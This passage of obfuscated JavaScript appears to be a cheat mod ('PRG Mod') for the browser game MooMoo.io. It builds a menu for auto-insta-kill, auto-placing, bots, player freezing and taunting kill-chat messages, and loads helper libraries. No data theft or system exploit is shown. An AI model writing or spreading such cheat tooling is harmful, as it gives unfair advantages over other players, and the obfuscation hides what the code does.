_0x4c0104(_0x1aa3f4[_0x2a8783], _0x1aa3f4[_0x5cfa5f]) >= 0) {
_0x2a8783 = _0x5cfa5f;
}
_0x1aa3f4[_0x4723ae] = _0x1aa3f4[_0x2a8783];
_0x2a8783 = (_0x4723ae = _0x2a8783) * 2 + 1;
}
_0x1aa3f4[_0x4723ae] = _0x216da7;
return _0x1e43b3(_0x1aa3f4, _0x5936e0, _0x4723ae, _0x4c0104);
};
_0xd2f5d5.push = _0xf4575b;
_0xd2f5d5.pop = _0x577694;
_0xd2f5d5.replace = _0x36b8fe;
_0xd2f5d5.pushpop = _0x51e327;
_0xd2f5d5.heapify = _0x3189e2;
_0xd2f5d5.updateItem = _0x303e16;
_0xd2f5d5.nlargest = _0x380825;
_0xd2f5d5.nsmallest = _0x470b27;
_0xd2f5d5.prototype.push = function (_0x1217f9) {
return _0xf4575b(this.nodes, _0x1217f9, this.cmp);
};
_0xd2f5d5.prototype.pop = function () {
return _0x577694(this.nodes, this.cmp);
};
_0xd2f5d5.prototype.peek = function () {
return this.nodes[0];
};
_0xd2f5d5.prototype.contains = function (_0x1b1b95) {
return this.nodes.indexOf(_0x1b1b95) !== -1;
};
_0xd2f5d5.prototype.replace = function (_0x162b44) {
return _0x36b8fe(this.nodes, _0x162b44, this.cmp);
};
_0xd2f5d5.prototype.pushpop = function (_0x59a49c) {
return _0x51e327(this.nodes, _0x59a49c, this.cmp);
};
_0xd2f5d5.prototype.heapify = function () {
return _0x3189e2(this.nodes, this.cmp);
};
_0xd2f5d5.prototype.updateItem = function (_0xd91688) {
return _0x303e16(this.nodes, _0xd91688, this.cmp);
};
_0xd2f5d5.prototype.clear = function () {
return this.nodes = [];
};
_0xd2f5d5.prototype.empty = function () {
return this.nodes.length === 0;
};
_0xd2f5d5.prototype.size = function () {
return this.nodes.length;
};
_0xd2f5d5.prototype.clone = function () {
var _0x139621 = new _0xd2f5d5();
_0x139621.nodes = this.nodes.slice(0);
return _0x139621;
};
_0xd2f5d5.prototype.toArray = function () {
return this.nodes.slice(0);
};
_0xd2f5d5.prototype.insert = _0xd2f5d5.prototype.push;
_0xd2f5d5.prototype.top = _0xd2f5d5.prototype.peek;
_0xd2f5d5.prototype.front = _0xd2f5d5.prototype.peek;
_0xd2f5d5.prototype.has = _0xd2f5d5.prototype.contains;
_0xd2f5d5.prototype.copy = _0xd2f5d5.prototype.clone;
_0x1e6a53 = _0xd2f5d5;
_0x4880cb = [];
if ((_0x5a5eeb = typeof (_0x5a5eeb = function () {
return _0x1e6a53;
}) == "function" ? _0x5a5eeb.apply(_0x4c777c, _0x4880cb) : _0x5a5eeb) !==
undefined) {
_0x144991.exports = _0x5a5eeb;
}
}).call(this);
}]);
let easystar = new EasyStar.js();
(function (_0x5e91e5) {
if (!_0x5e91e5) {
return;
}
let _0x1fbe58 = {
setup: () => {
'use strict';

let _0x4f5a92 = document.createElement("link");


_0x4f5a92.rel = "stylesheet";
_0x4f5a92.href = "https://fonts.googleapis.com/css?family=Ubuntu:700";
_0x4f5a92.type = "text/css";
document.body.append(_0x4f5a92);
let _0x1d02f3 = document.createElement("script");
_0x1d02f3.src =
"https://rawgit.com/kawanet/msgpack-lite/master/dist/msgpack.min.js";
document.body.append(_0x1d02f3);
},
main: () => {
if (!useHack) {
return;
}
"use strict";
window.oncontextmenu = function () {
return false;
};
let _0x124d71 = window.config;
_0x124d71.clientSendRate = 0;
_0x124d71.serverUpdateRate = 9;
_0x124d71.deathFadeout = 0;
_0x124d71.isSandbox = window.location.hostname == "sandbox.moomoo.io";
_0x124d71.skinColors = ["#bf8f54", "#cbb091", "#896c4b", "#fadadc",
"#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3", "#8bc373", "#91b2db"];
_0x124d71.weaponVariants = [{
id: 0,
src: "",
xp: 0,
val: 1
}, {
id: 1,
src: "_g",
xp: 3000,
val: 1.1
}, {
id: 2,
src: "_d",
xp: 7000,
val: 1.18
}, {
id: 3,
src: "_r",
poison: true,
xp: 12000,
val: 1.18
}, {
id: 4,
src: "_e",
poison: true,
heal: true,
xp: 24000,
val: 1.18
}];
_0x124d71.anotherVisual = false;
_0x124d71.useWebGl = false;
_0x124d71.resetRender = false;
function _0x2f9e34(_0x552bcc) {
return new Promise(_0x9c7071 => {
setTimeout(() => {
_0x9c7071();
}, _0x552bcc);
});
}
let _0x5e15e0 = false;
let _0x43d7bb = [];
let _0xa55560;
if (typeof Storage !== "undefined") {
_0xa55560 = true;
}
function _0x193e83(_0x462e7e, _0x116f0f) {
if (_0xa55560) {
localStorage.setItem(_0x462e7e, _0x116f0f);
}
}
function _0x1cbafb(_0x4b341e) {
if (_0xa55560) {
localStorage.removeItem(_0x4b341e);
}
}
function _0x3839db(_0x59cc51) {
if (_0xa55560) {
return localStorage.getItem(_0x59cc51);
}
return null;
}
let _0x4926c5 = function (_0x479d24, _0x1426ab) {
try {
let _0x5083cd = JSON.parse(_0x3839db(_0x479d24));
if (typeof _0x5083cd === "object") {
return _0x1426ab;
} else {
return _0x5083cd;
}
} catch (_0x17f6b9) {
alert("dieskid");
return _0x1426ab;
}
};
function _0x44502c() {
return {
help: {
desc: "Show Commands",
action: function (_0xbeeb82) {
for (let _0x208387 in _0x308eab) {
_0x17c17a("/" + _0x208387, _0x308eab[_0x208387].desc, "lime", 1);
}
}
},
clear: {
desc: "Clear Chats",
action: function (_0x5188d2) {
_0x230141();
}
},
debug: {
desc: "Debug Mod For Development",
action: function (_0xdc769e) {
_0xb2f104(_0x21c5b5);
_0x17c17a("Debug", "Done", "#99ee99", 1);
}
},
play: {
desc: "Play Music ( /play [link] )",
action: function (_0x1c48a2) {
let _0x417453 = _0x1c48a2.split(" ");
if (_0x417453[1]) {
let _0x593ec9 = new Audio(_0x417453[1]);
_0x593ec9.play();
} else {
_0x17c17a("Warn", "Enter Link ( /play [link] )", "#99ee99", 1);
}
}
},
bye: {
desc: "Leave Game",
action: function (_0x2bac68) {
window.leave();
}
}
};
}
function _0x50a68f() {
return {
killChat: true,
autoBuy: false,
autoBuyEquip: true,
autoPush: true,
autoQonSync: true,
revTick: false,
spikeTick: true,
predictTick: true,
autoPlace: true,
autoReplace: true,
antiTrap: true,
slowOT: false,
attackDir: true,
noDir: true,
showDir: false,
antispike: false,
autoRespawn: false
};
}
let _0x308eab = _0x44502c();
let _0x20bd10 = _0x50a68f();
window.removeConfigs = function () {
for (let _0x337e19 in _0x20bd10) {
_0x1cbafb(_0x337e19, _0x20bd10[_0x337e19]);
}
};
for (let _0x523874 in _0x20bd10) {
_0x20bd10[_0x523874] = _0x4926c5(_0x523874, _0x20bd10[_0x523874]);
}
window.changeMenu = function () {};
window.debug = function () {};
window.startGrind = function () {};
window.connectFillBots = function () {};
window.destroyFillBots = function () {};
window.tryConnectBots = function () {};
window.destroyBots = function () {};
window.resBuild = function () {};
window.freezeplayer = function () {};
window.toggleBotsCircle = function () {};
window.toggleVisual = function () {};
window.prepareUI = function () {};
window.leave = function () {};
window.ping = imueheua ? 86 : 0;
class _0x29b398 {
constructor(_0x4c6955, _0x433b04) {
this.inGame = false;
this.lover = _0x4c6955 + _0x433b04;
this.baby = "ae86";
this.isBlack = 0;
this.webSocket = undefined;
this.checkBaby = function () {
if (this.baby !== "ae86") {
this.isBlack++;
} else {
this.isBlack--;
}
if (this.isBlack >= 1) {
return "bl4cky";
}
return "noting for you";
};
this.x2 = 0;
this.y2 = 0;
this.chat = "Imagine playing this badass game XDDDDD";
this.summon = function (_0x22e802) {
this.x2 = _0x22e802.x;
this.y2 = _0x22e802.y;
this.chat = _0x22e802.name + " ur so bad XDDDD";
};
this.commands = function (_0x48580e) {
if (_0x48580e == "rv3link") {
window.open("https://florr.io/");
}
if (_0x48580e == "woah") {
window.open("https://www.youtube.com/watch?v=MO0AGukzj6M");
}
return _0x48580e;
};
this.dayte = "11yearold";
this.memeganoob = "69yearold";
this.startDayteSpawn = function (_0x54bc42) {
let _0xc9957a = setInterval(() => {
this.x2 = _0x54bc42.x + 20;
this.y2 = _0x54bc42.y - 20;
this.chat = "UR SO BAD LOL";
if (_0x54bc42.name == "ae86") {
this.chat = "omg ae86 go run";
setTimeout(() => {
this.inGame = false;
clearInterval(_0xc9957a);
}, 1000);
}
}, 1234);
};
this.AntiChickenModV69420 = function (_0x3a1655) {
return "!c!dc user " + _0x3a1655.name;
};
}
}
;
class _0x2588c9 {
constructor(_0x4eed7e) {
this.element = _0x4eed7e;
}
add(_0x47910a) {
if (!this.element) {
return undefined;
}
this.element.innerHTML += _0x47910a;
}
newLine(_0x1c04c2) {
let _0x2d047f = "<br>";
if (_0x1c04c2 > 0) {
_0x2d047f = "";
for (let _0x387742 = 0; _0x387742 < _0x1c04c2; _0x387742++) {
_0x2d047f += "<br>";
}
}
this.add(_0x2d047f);
}
checkBox(_0x29a2a0) {
let _0x8fc120 = "<input type = \"checkbox\"";
if (_0x29a2a0.id) {
_0x8fc120 += " id = " + _0x29a2a0.id;
}
if (_0x29a2a0.style) {
_0x8fc120 += " style = " + _0x29a2a0.style.replaceAll(" ", "");
}
if (_0x29a2a0.class) {
_0x8fc120 += " class = " + _0x29a2a0.class;
}
if (_0x29a2a0.checked) {
_0x8fc120 += " checked";
}
if (_0x29a2a0.onclick) {
_0x8fc120 += " onclick = " + _0x29a2a0.onclick;
}
_0x8fc120 += ">";
this.add(_0x8fc120);
}
text(_0x17426d) {
let _0x52935a = "<input type = \"text\"";
if (_0x17426d.id) {
_0x52935a += " id = " + _0x17426d.id;
}
if (_0x17426d.style) {
_0x52935a += " style = " + _0x17426d.style.replaceAll(" ", "");
}
if (_0x17426d.class) {
_0x52935a += " class = " + _0x17426d.class;
}
if (_0x17426d.size) {
_0x52935a += " size = " + _0x17426d.size;
}
if (_0x17426d.maxLength) {
_0x52935a += " maxLength = " + _0x17426d.maxLength;
}
if (_0x17426d.value) {
_0x52935a += " value = " + _0x17426d.value;
}
if (_0x17426d.placeHolder) {
_0x52935a += " placeHolder = " + _0x17426d.placeHolder.replaceAll(" ",
"&nbsp;");
}
_0x52935a += ">";
this.add(_0x52935a);
}
select(_0x210a5d) {
let _0x1378f9 = "<select";
if (_0x210a5d.id) {
_0x1378f9 += " id = " + _0x210a5d.id;
}
if (_0x210a5d.style) {
_0x1378f9 += " style = " + _0x210a5d.style.replaceAll(" ", "");
}
if (_0x210a5d.class) {
_0x1378f9 += " class = " + _0x210a5d.class;
}
_0x1378f9 += ">";
for (let _0x3aebea in _0x210a5d.option) {
_0x1378f9 += "<option value = " + _0x210a5d.option[_0x3aebea].id;
if (_0x210a5d.option[_0x3aebea].selected) {
_0x1378f9 += " selected";
}
_0x1378f9 += ">" + _0x3aebea + "</option>";
}
_0x1378f9 += "</select>";
this.add(_0x1378f9);
}
button(_0x2e3135) {
let _0x32e796 = "<button";
if (_0x2e3135.id) {
_0x32e796 += " id = " + _0x2e3135.id;
}
if (_0x2e3135.style) {
_0x32e796 += " style = " + _0x2e3135.style.replaceAll(" ", "");
}
if (_0x2e3135.class) {
_0x32e796 += " class = " + _0x2e3135.class;
}
if (_0x2e3135.onclick) {
_0x32e796 += " onclick = " + _0x2e3135.onclick;
}
_0x32e796 += ">";
if (_0x2e3135.innerHTML) {
_0x32e796 += _0x2e3135.innerHTML;
}
_0x32e796 += "</button>";
this.add(_0x32e796);
}
selectMenu(_0x5dfd2a) {
let _0x20a234 = "<select";
if (!_0x5dfd2a.id) {
alert("please put id skid");
return;
}
window[_0x5dfd2a.id + "Func"] = function () {};
if (_0x5dfd2a.id) {
_0x20a234 += " id = " + _0x5dfd2a.id;
}
if (_0x5dfd2a.style) {
_0x20a234 += " style = " + _0x5dfd2a.style.replaceAll(" ", "");
}
if (_0x5dfd2a.class) {
_0x20a234 += " class = " + _0x5dfd2a.class;
}
_0x20a234 += " onchange = window." + (_0x5dfd2a.id + "Func") + "()";
_0x20a234 += ">";
let _0x386e18;
let _0xb20808 = 0;
for (let _0x541bbf in _0x5dfd2a.menu) {
_0x20a234 += "<option value = " + ("option_" + _0x541bbf) + " id = " +
("O_" + _0x541bbf);
if (_0x5dfd2a.menu[_0x541bbf]) {
_0x20a234 += " checked";
}
_0x20a234 += " style = \"color: " + (_0x5dfd2a.menu[_0x541bbf] ? "#000"
: "#fff") + "; background: " + (_0x5dfd2a.menu[_0x541bbf] ? "#8ecc51" : "#cc5151")
+ ";\">" + _0x541bbf + "</option>";
_0xb20808++;
}
_0x20a234 += "</select>";
this.add(_0x20a234);
_0xb20808 = 0;
for (let _0xfb6f52 in _0x5dfd2a.menu) {
window[_0xfb6f52 + "Func"] = function () {
_0x5dfd2a.menu[_0xfb6f52] = getEl("check_" + _0xfb6f52).checked ?
true : false;
_0x193e83(_0xfb6f52, _0x5dfd2a.menu[_0xfb6f52]);
getEl("O_" + _0xfb6f52).style.color = _0x5dfd2a.menu[_0xfb6f52] ?
"#000" : "#fff";
getEl("O_" + _0xfb6f52).style.background =
_0x5dfd2a.menu[_0xfb6f52] ? "#8ecc51" : "#cc5151";
};
this.checkBox({
id: "check_" + _0xfb6f52,
style: "display: " + (_0xb20808 == 0 ? "inline-block" : "none") +
";",
class: "checkB",
onclick: "window." + (_0xfb6f52 + "Func") + "()",
checked: _0x5dfd2a.menu[_0xfb6f52]
});
_0xb20808++;
}
_0x386e18 = "check_" + getEl(_0x5dfd2a.id).value.split("_")[1];
window[_0x5dfd2a.id + "Func"] = function () {
getEl(_0x386e18).style.display = "none";
_0x386e18 = "check_" + getEl(_0x5dfd2a.id).value.split("_")[1];
getEl(_0x386e18).style.display = "inline-block";
};
}
}
;
class _0x99d365 {
constructor() {
this.element = null;
this.action = null;
this.divElement = null;
this.startDiv = function (_0x58797b, _0x5ca135) {
let _0x4e35a9 = document.createElement("div");
if (_0x58797b.id) {
_0x4e35a9.id = _0x58797b.id;
}
if (_0x58797b.style) {
_0x4e35a9.style = _0x58797b.style;
}
if (_0x58797b.class) {
_0x4e35a9.className = _0x58797b.class;
}
this.element.appendChild(_0x4e35a9);
this.divElement = _0x4e35a9;
let _0x2da2f2 = new _0x2588c9(_0x4e35a9);
if (typeof _0x5ca135 == "function") {
_0x5ca135(_0x2da2f2);
}
};
this.addDiv = function (_0x5a9013, _0x3ae65a) {
let _0x439e08 = document.createElement("div");
if (_0x5a9013.id) {
_0x439e08.id = _0x5a9013.id;
}
if (_0x5a9013.style) {
_0x439e08.style = _0x5a9013.style;
}
if (_0x5a9013.class) {
_0x439e08.className = _0x5a9013.class;
}
if (_0x5a9013.appendID) {
getEl(_0x5a9013.appendID).appendChild(_0x439e08);
}
this.divElement = _0x439e08;
let _0x5bb8bc = new _0x2588c9(_0x439e08);
if (typeof _0x3ae65a == "function") {
_0x3ae65a(_0x5bb8bc);
}
};
}
set(_0x11a9c3) {
this.element = getEl(_0x11a9c3);
this.action = new _0x2588c9(this.element);
}
resetHTML(_0x3ce279) {
if (_0x3ce279) {
this.element.innerHTML = "";
} else {
this.element.innerHTML = "";
}
}
setStyle(_0x4b2689) {
this.element.style = _0x4b2689;
}
setCSS(_0x40d479) {
this.action.add("<style>" + _0x40d479 + "</style>");
}
}
;
let _0x10a0f6 = new _0x99d365();
let _0x44abff = document.createElement("div");
_0x44abff.id = "nightMode";
document.body.appendChild(_0x44abff);
_0x10a0f6.set("nightMode");
_0x10a0f6.setStyle("\n display: none;\n position:
absolute;\n pointer-events: none;\n background-color: rgb(0,
0, 100);\n opacity: 0;\n top: 0%;\n width: 100%;\n
height: 100%;\n animation-duration: 5s;\n animation-name:
night2;\n ");
_0x10a0f6.resetHTML();
_0x10a0f6.setCSS("\n @keyframes night1 {\n from
{opacity: 0;}\n to {opacity: 0.35;}\n }\n
@keyframes night2 {\n from {opacity: 0.35;}\n to
{opacity: 0;}\n }\n ");
let _0x11e801 = document.createElement("div");
_0x11e801.id = "menuDiv";
document.body.appendChild(_0x11e801);
_0x10a0f6.set("menuDiv");
_0x10a0f6.setStyle("\n position: absolute;\n left:
20px;\n top: 20px;\n ");
_0x10a0f6.resetHTML();
_0x10a0f6.setCSS("\n@keyframes pulse {\n 0% {\n background-color:
#262626; /* Initial color */\n }\n 50% {\n background-color: #333; /*
Intermediate color */\n }\n 100% {\n background-color: #1f1f1f; /*
Final color */\n }\n}\n\n@keyframes clickAnimation {\n 0% {\n
transform: scale(1);\n }\n 50% {\n transform: scale(1.05);\n }\n
100% {\n transform: scale(1);\n }\n}\n\n@keyframes checkAnimation {\n
0% {\n transform: scale(1);\n box-shadow: 0 0 0 rgba(0, 0, 0, 0);\n
}\n 50% {\n transform: scale(1.1);\n box-shadow: 0 0 8px rgba(0,
0, 0, 0.5);\n }\n 100% {\n transform: scale(1);\n box-shadow: 0
0 0 rgba(0, 0, 0, 0);\n }\n}\n\nbody {\n background: #1a1a1a; /* Dark
background color */\n color: #fff;\n font-family: Arial, sans-serif; /*
Changed font family */\n margin: 0; /* Remove default margin */\n padding: 0;
/* Remove default padding */\n}\n\n.menuClass {\n color: #fff;\n font-size:
20px; /* Decreased font size */\n text-align: left;\n padding: 15px; /*
Decreased padding */\n width: 300px; /* Decreased width */\n height: auto; /*
Adjusted height to be dynamic */\n max-height: 400px; /* Decreased maximum
height */\n background-color: #333; /* Darker background color */\n border:
2px solid #444; /* Dark border color */\n border-radius: 8px; /* Rounded corners
*/\n animation: pulse 5s infinite alternate; /* Apply pulsating animation */\n
box-sizing: border-box; /* Include padding and border in the width */\n
overflow-y: auto; /* Added overflow-y for scroll when needed */\n filter:
blur(5px); /* Initially blur the menu */\n transition: filter 0.3s ease; /*
Smooth transition for blur effect */\n}\n\n.menuClass:hover {\n filter: none; /*
Remove blur effect when hovered */\n}\n\n.menuC {\n display: none;\n font-
family: cursive, sans-serif; /* Changed font family */\n font-size: 14px; /*
Decreased font size */\n max-height: 120px; /* Decreased maximum height */\n
overflow-y: scroll;\n user-select: none;\n animation: fadeIn 0.5s ease; /*
Smooth dropdown animation */\n}\n\n.menuB {\n font-family: cursive, sans-serif;\
n text-align: center;\n background-color: #444; /* Darker button background
color */\n color: #fff;\n border: none;\n border-radius: 20px; /* Rounded
corners */\n padding: 10px 20px; /* Decreased padding */\n cursor: pointer;\n
transition: background-color 0.3s ease, transform 0.2s ease, box-shadow 0.3s
ease; /* Added transitions */\n}\n\n.menuB:hover {\n background-color: #555; /*
Darker hover color */\n box-shadow: 0 0 15px rgba(0, 0, 0, 0.7); /* Enhanced
shadow effect on hover */\n}\n\n.menuB:active {\n transform: translateY(2px);\
n}\n\n.customText {\n font-family: cursive, sans-serif;\n color: #fff;\n
background-color: #444; /* Darker text input background color */\n border: 1px
solid #666; /* Darker border color */\n border-radius: 5px; /* Rounded corners
*/\n padding: 6px;\n transition: background-color 0.3s ease;\n}\n\
n.customText:focus {\n background-color: #333; /* Darker focus color */\n}\n\
n.checkB {\n position: relative;\n cursor: pointer;\n -webkit-appearance:
none;\n -moz-appearance: none;\n appearance: none;\n width: 20px; /*
Decreased width */\n height: 20px; /* Decreased height */\n border: 2px solid
#555; /* Darker border color */\n border-radius: 3px; /* Squared corners */\n
background-color: transparent;\n vertical-align: middle;\n margin-right: 8px;
/* Decreased margin */\n transition: background-color 0.3s ease, border-color
0.3s ease;\n overflow: hidden; /* Hide the excess of the checkmark */\n}\n\
n.checkB:checked {\n background-color: #2ecc71; /* Checked color */\n border-
color: #2ecc71; /* Change border color when checked */\n}\n\n.checkB::after {\n
content: \"\";\n position: absolute;\n top: 50%;\n left: 50%;\n
transform: translate(-50%, -50%) scale(0); /* Initially hidden */\n width:
8px; /* Decreased width */\n height: 8px; /* Decreased height */\n
background-color: #fff;\n border-radius: 50%;\n opacity: 0;\n transition:
transform 0.3s ease, opacity 0.3s ease;\n}\n\n.checkB:checked::after {\n
transform: translate(-50%, -50%) scale(1); /* Show the checkmark */\n opacity:
1;\n}\n\n/* Click effect */\n.checkB:active::after {\n transform: translate(-
50%, -50%) scale(0.8); /* Slightly shrink when clicked */\n opacity: 0.5; /*
Reduce opacity when clicked */\n}\n\n.Cselect {\n font-family: cursive, sans-
serif; /* Changed font family */\n background-color: #444; /* Darker background
color */\n color: #fff;\n border: 1px solid #666; /* Darker border color */\n
border-radius: 30px; /* Rounded corners */\n padding: 6px;\n}\n\n#menuChanger {\
n position: absolute;\n right: 20px;\n top: 20px;\n background-color:
transparent;\n color: #fff;\n border: none;\n cursor: pointer;\n
animation: none;\n}\n\n#menuChanger:hover {\n color: #ccc;\n}\n\
n#menuChanger:active {\n animation: clickAnimation 0.2s ease; /* Apply click
animation */\n}\n\n/* Scrollbars */\n::-webkit-scrollbar {\n width: 8px;\n}\n\
n::-webkit-scrollbar-track {\n background: #2c3e50; /* Matching background color
*/\n}\n\n::-webkit-scrollbar-thumb {\n background: #34495e; /* Matching thumb
color */\n border-radius: 4px;\n}\n\n::-webkit-scrollbar-thumb:hover {\n
background: #2c3e50; /* Darker hover color */\n}\n ");
_0x10a0f6.startDiv({
id: "menuHeadLine",
class: "menuClass"
}, _0x59a4d1 => {
_0x59a4d1.add("PRG Mod");
_0x59a4d1.button({
id: "menuChanger",
class: "material-icons",
innerHTML: "sync",
onclick: "window.changeMenu()"
});
_0x10a0f6.addDiv({
id: "menuButtons",
style: "display: block; overflow-y: visible;",
class: "menuC",
appendID: "menuHeadLine"
}, _0x178882 => {
_0x178882.button({
class: "menuB",
innerHTML: "Debug",
onclick: "window.debug()"
});
_0x178882.newLine();
_0x178882.button({
class: "menuB",
innerHTML: "Freeze Players",
onclick: "window.freezeplayer()"
});
});
_0x10a0f6.addDiv({
id: "menuMain",
style: "display: block",
class: "menuC",
appendID: "menuHeadLine"
}, _0x5e2307 => {
_0x5e2307.newLine();
_0x5e2307.add("Weapon Grinder: ");
_0x5e2307.checkBox({
id: "weaponGrind",
class: "checkB",
onclick: "window.startGrind()"
});
_0x5e2307.newLine(2);
_0x5e2307.add("Sync: ");
_0x5e2307.checkBox({
id: "musketSync",
class: "checkB",
checked: true
});
_0x5e2307.newLine();
_0x5e2307.add("SyncType: ");
_0x5e2307.select({
id: "syncType",
class: "Cselect",
option: {
SyncInsta: {
id: "s1"
},
ShootSync: {
id: "s2",
selected: true
}
}
});
_0x5e2307.newLine();
_0x5e2307.add("Killchat: ");
_0x5e2307.text({
id: "killchat",
class: "customText",
value: "PRG on Top!",
size: "20em",
maxLength: "30"
});
_0x5e2307.newLine(2);
_0x5e2307.add("BrightnessType: ");
_0x5e2307.select({
id: "brightnesstype",
class: "Cselect",
option: {
HalfMorning: {
id: "oe",
selected: true
},
Morning: {
id: "fz"
},
Afternoon: {
id: "simp"
},
HalfNight: {
id: "hnr"
},
Night: {
id: "blox"
}
}
});
_0x5e2307.newLine();
_0x5e2307.add("PlayStyle: ");
_0x5e2307.select({
id: "visualType",
class: "Cselect",
option: {
Honor: {
id: "PRG",
selected: true
}
}
});
_0x5e2307.newLine(2);
_0x5e2307.add("AntiPush:");
_0x5e2307.checkBox({
id: "antipush",
class: "checkB",
checked: true
});
_0x5e2307.newLine();
_0x5e2307.add("BaseHealing:");
_0x5e2307.checkBox({
id: "healingBeta",
class: "checkB",
checked: true
});
_0x5e2307.newLine();
});
_0x10a0f6.addDiv({
id: "menuConfig",
class: "menuC",
appendID: "menuHeadLine"
}, _0x27e12e => {
_0x27e12e.add("AutoPlacer Placement Tick: ");
_0x27e12e.text({
id: "autoPlaceTick",
class: "customText",
value: "1",
size: "2em",
maxLength: "1"
});
_0x27e12e.newLine();
_0x27e12e.add("Configs: ");
_0x27e12e.selectMenu({
id: "configsChanger",
class: "Cselect",
menu: _0x20bd10
});
_0x27e12e.newLine();
_0x27e12e.add("InstaKill Type: ");
_0x27e12e.select({
id: "instaType",
class: "Cselect",
option: {
OneShot: {
id: "oneShot",
selected: true
},
Spammer: {
id: "spammer"
}
}
});
_0x27e12e.newLine();
_0x27e12e.add("AntiBull Type: ");
_0x27e12e.select({
id: "antiBullType",
class: "Cselect",
option: {
"Disable AntiBull": {
id: "noab",
selected: true
},
"When Reloaded": {
id: "abreload"
},
"Primary Reloaded": {
id: "abalway"
}
}
});
_0x27e12e.newLine();
_0x27e12e.add("AutoPlaceType: ");
_0x27e12e.select({
id: "autoPlacetype",
class: "Cselect",
option: {
Smart: {
id: "smart"
},
MagicPlace: {
id: "magicplace"
},
AiPlace: {
id: "aiplace",
selected: true
},
Spamtrap: {
id: "spamtrap"
},
Spamtrap2: {
id: "spamtrap2"
},
Honor: {
id: "ramdomplc"
}
}
});
_0x27e12e.newLine(2);
_0x27e12e.add("Backup Nobull Insta: ");
_0x27e12e.checkBox({
id: "backupNobull",
class: "checkB",
checked: true
});
_0x27e12e.newLine();
_0x27e12e.add("Turret Gear Combat Assistance: ");
_0x27e12e.checkBox({
id: "turretCombat",
class: "checkB"
});
_0x27e12e.newLine();
_0x27e12e.add("Safe AntiSpikeTick: ");
_0x27e12e.checkBox({
id: "safeAntiSpikeTick",
class: "checkB",
checked: true
});
_0x27e12e.newLine();
});
_0x10a0f6.addDiv({
id: "menuOther",
class: "menuC",
appendID: "menuHeadLine"
}, _0x5daeaa => {
_0x5daeaa.button({
class: "menuB",
innerHTML: "Connect Bots",
onclick: "window.tryConnectBots()"
});
_0x5daeaa.button({
class: "menuB",
innerHTML: "Disconnect Bots",
onclick: "window.destroyBots()"
});
_0x5daeaa.newLine();
_0x5daeaa.button({
class: "menuB",
innerHTML: "Reset Break Objects",
onclick: "window.resBuild()"
});
_0x5daeaa.newLine();
_0x5daeaa.add("Break Objects Range: ");
_0x5daeaa.text({
id: "breakRange",
class: "customText",
value: "700",
size: "3em",
maxLength: "4"
});
_0x5daeaa.newLine();
_0x5daeaa.add("Render Place: ");
_0x5daeaa.checkBox({
id: "placeVis",
class: "checkB",
checked: false
});
_0x5daeaa.newLine();
_0x5daeaa.button({
class: "menuB",
innerHTML: "Toggle Another Visual",
onclick: "window.toggleVisual()"
});
_0x5daeaa.newLine();
});
});
let _0x55ea78 = document.createElement("div");
_0x55ea78.id = "menuChatDiv";
document.body.appendChild(_0x55ea78);
_0x10a0f6.set("menuChatDiv");
_0x10a0f6.setStyle("\n position: absolute;\n display:
none;\n left: 0px;\n top: 25px;\n // box-shadow:
0px 0px 10px rgba(0, 0, 0, 0.65);\n ");
_0x10a0f6.resetHTML();
_0x10a0f6.setCSS("\n .chDiv {\n color: #fff;\n
padding: 10px;\n height: 217px;\n background-color: rgba(0, 0, 0, 0);\n
font-family: \"HammerSmith One\", monospace;\n // border-radius: 15px;\n//
box-shadow: black 1px 2px 19px;\n//backdrop-filter: blur(3px);\n\n}\n.chMainDiv {\n
font-family: \"Ubuntu\";\n font-size: 16px;\n max-height: 215px;\n
overflow-y: scroll;\n scrollbar-width: thin;\n scrollbar-color: rgba(0, 0, 0,
0) rgba(0, 0, 0, 0);\n -webkit-touch-callout: none;\n -webkit-user-select:
none;\n -khtml-user-select: none;\n -moz-user-select: none;\n -ms-user-
select: none;\n user-select: none;\n overflow-x: hidden;\n}\n.chMainDiv::-
webkit-scrollbar {\n width: 8px;\n}\n.chMainDiv::-webkit-scrollbar-thumb {\n
background-color: rgba(0, 0, 0, 0.5);\n}\n.chMainDiv::-webkit-scrollbar-thumb:hover
{\n background-color: rgba(0, 0, 0, 0.7);\n}\n.chMainBox {\ndisplay:none;\n
position: absolute;\n left: 10px;\n bottom: 10px;\n width: 380px;\n
height: 25px;\n background-color: rgba(255, 255, 255, 0);\n border-radius:
5px;\n color: rgba(255, 255, 255, 0.75);\n font-family: \"HammerSmith One\";\
n font-size: 12px;\n}\n");
_0x10a0f6.startDiv({
id: "mChDiv",
class: "chDiv"
}, _0x128002 => {
_0x10a0f6.addDiv({
id: "mChMain",
class: "chMainDiv",
appendID: "mChDiv"
}, _0x32cd03 => {});
_0x128002.text({
id: "mChBox",
class: "chMainBox"
});
});
let _0x59aac2 = getEl("mChMain");
let _0x293841 = getEl("mChBox");
let _0x2091c4 = false;
let _0x5acf8e = 0;
_0x293841.value = "";
_0x293841.addEventListener("focus", () => {
_0x2091c4 = true;
});
_0x293841.addEventListener("blur", () => {
_0x2091c4 = false;
});
function _0x358235(_0x1cb7c6) {
_0x1cb7c6 = _0x1cb7c6.replace(/onerror\s*=\s*["'](.*?)["']/gi, "");
_0x1cb7c6 =
_0x1cb7c6.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, "");
_0x1cb7c6 =
_0x1cb7c6.replace(/<iframe\b[^<]*(?:(?!<\/iframe>)<[^<]*)*<\/iframe>/gi, "");
_0x1cb7c6 =
_0x1cb7c6.replace(/<iframe\s+src\s*=\s*['"]?\/\/moomoo\.io['"]?\s*>/gi, "");
return _0x1cb7c6;
}
function _0x17c17a(_0x11087e, _0x378ab0, _0x34aef7, _0x1f1240) {
_0x10a0f6.set("menuChatDiv");
_0x34aef7 = _0x34aef7 || "white";
let _0xa6dbe5 = new Date();
let _0x3eb417 = _0xa6dbe5.getMinutes();
let _0x277a1b = _0xa6dbe5.getHours();
let _0x1e75b8 = "";
if (!_0x1f1240) {
_0x1e75b8 += (_0x277a1b < 10 ? "0" : "") + _0x277a1b + ":" + ((_0x3eb417
< 10 ? "0" : "") + _0x3eb417);
}
if (_0x11087e) {
_0x1e75b8 += "" + ((!_0x1f1240 ? " - " : "") + _0x11087e);
}
if (_0x378ab0) {
_0x1e75b8 += (_0x11087e ? ": " : !_0x1f1240 ? " - " : "") + _0x378ab0 +
"\n";
}
_0x1e75b8 = "<plaintext>" + _0x1e75b8;
_0x10a0f6.addDiv({
id: "menuChDisp",
style: "color: " + _0x34aef7,
appendID: "mChMain"
}, _0x16c8f2 => {
